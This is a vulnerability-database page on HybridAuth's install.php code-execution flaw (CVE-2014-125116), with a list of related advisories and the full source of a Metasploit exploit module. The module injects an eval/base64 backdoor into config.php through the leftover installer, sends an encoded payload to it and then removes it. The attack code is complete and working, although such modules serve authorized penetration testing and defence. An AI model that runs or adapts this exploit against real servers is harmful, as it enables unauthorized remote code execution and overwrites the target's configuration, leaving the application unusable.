Lucene search
+L

HybridAuth install.php PHP Code Execution

🗓️ 04 Aug 2014 00:00:00Reported by Pichaya Morimoto, bcoles <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 43 Views

HybridAuth PHP Code Execution vulnerability in install.php allows unauthenticated users to write PHP code to the config.php file, rendering the application unusable

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2014-125116
29 May 201815:50
circl
cnnvd
CNNVD
Hybridauth 安全漏洞
25 Jul 202500:00
cnnvd
cve
CVE
CVE-2014-125116
25 Jul 202515:51
cve
cvelist
Cvelist
CVE-2014-125116 HybridAuth 2.0.9 - 2.2.2 Unauthenticated RCE via install.php Configuration Injection
25 Jul 202515:51
cvelist
euvd
EUVD
EUVD-2014-9808
7 Oct 202500:30
euvd
nvd
NVD
CVE-2014-125116
25 Jul 202516:15
nvd
openvas
OpenVAS
HybridAuth <= 2.2.2 'install.php' RCE Vulnerability
26 Aug 201400:00
openvas
ptsecurity
Positive Technologies
PT-2025-31207 · Undefined · Undefined
25 Jul 202500:00
ptsecurity
redhatcve
RedhatCVE
CVE-2014-125116
27 Jul 202516:14
redhatcve
snyk
Snyk
Arbitrary File Upload
25 Jul 202516:42
snyk
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking # application config.php is overwritten

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'HybridAuth install.php PHP Code Execution',
        'Description' => %q{
          This module exploits a PHP code execution vulnerability in
          HybridAuth versions 2.0.9 to 2.2.2. The install file 'install.php'
          is not removed after installation allowing unauthenticated users to
          write PHP code to the application configuration file 'config.php'.

          Note: This exploit will overwrite the application configuration file
          rendering the application unusable.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Pichaya Morimoto', # Discovery and PoC
          'bcoles' # Metasploit
        ],
        'References' => [
          ['CVE', '2014-125116'],
          ['EDB', '34273'],
          ['OSVDB', '109838']
        ],
        'Arch' => ARCH_PHP,
        'Platform' => 'php',
        'Targets' => [
          # Tested:
          # HybridAuth versions 2.0.9, 2.0.10, 2.0.11, 2.1.2, 2.2.2 on Apache/2.2.14 (Ubuntu)
          ['HybridAuth version 2.0.9 to 2.2.2 (PHP Payload)', {}]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2014-08-04',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to HybridAuth library', '/hybridauth/'])
      ]
    )
  end

  #
  # Check:
  # * install.php exists
  # * config.php is writable
  # * HybridAuth version is 2.0.9 to 2.0.11, 2.1.x, or 2.2.0 to 2.2.2
  #
  def check
    res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'install.php')
    if !res
      vprint_error "Connection failed"
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    elsif res.code == 404
      vprint_error "Could not find install.php"
    elsif res.body =~ />([^<]+)<\/span> must be <b >WRITABLE</
      vprint_error "#{$1} is not writable"
    elsif res.body =~ />HybridAuth (2\.[012]\.[\d\.]+(-dev)?) Installer</
      version = res.body.scan(/>HybridAuth (2\.[012]\.[\d\.]+(-dev)?) Installer</).first.first
      vprint_status "Found version: #{version}"
      if version =~ /^2\.(0\.(9|10|11)|1\.[\d]+|2\.[012])/
        return Exploit::CheckCode::Vulnerable("Detected vulnerable version #{version}")
      else
        vprint_error "HybridAuth version #{version} is not vulnerable"
      end
    end
    Exploit::CheckCode::Safe(version ? "Version #{version} is not vulnerable" : 'The target is not vulnerable')
  end

  #
  # Exploit
  #
  def exploit
    # check vuln
    if check != Exploit::CheckCode::Vulnerable
      fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable"
    end

    # write backdoor
    print_status "Writing backdoor to config.php"
    payload_param = rand(1000)
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'install.php'),
      'data' => "OPENID_ADAPTER_STATUS=eval(base64_decode($_POST[#{payload_param}])))));/*"
    )
    if !res
      fail_with Failure::Unknown, "#{peer} - Connection failed"
    elsif res.body =~ /Installation completed/
      print_good "Wrote backdoor successfully"
    else
      fail_with Failure::UnexpectedReply, "#{peer} - Coud not write backdoor to 'config.php'"
    end

    # execute payload
    code = Rex::Text.encode_base64(payload.encoded)
    print_status "Sending payload to config.php backdoor (#{code.length} bytes)"
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'config.php'),
      'data' => "#{payload_param}=#{code}"
    }, 5)
    if !res
      print_warning "No response"
    elsif res.code == 404
      fail_with Failure::NotFound, "#{peer} - Could not find config.php"
    elsif res.code == 200 || res.code == 500
      print_good "Sent payload successfully"
    end

    # remove backdoor
    print_status "Removing backdoor from config.php"
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'install.php'),
      'data' => 'OPENID_ADAPTER_STATUS='
    )
    if !res
      print_error "Connection failed"
    elsif res.body =~ /Installation completed/
      print_good "Removed backdoor successfully"
    else
      print_warning "Could not remove payload from config.php"
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Aug 2014 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 49.3
EPSS0.01601
SSVC
43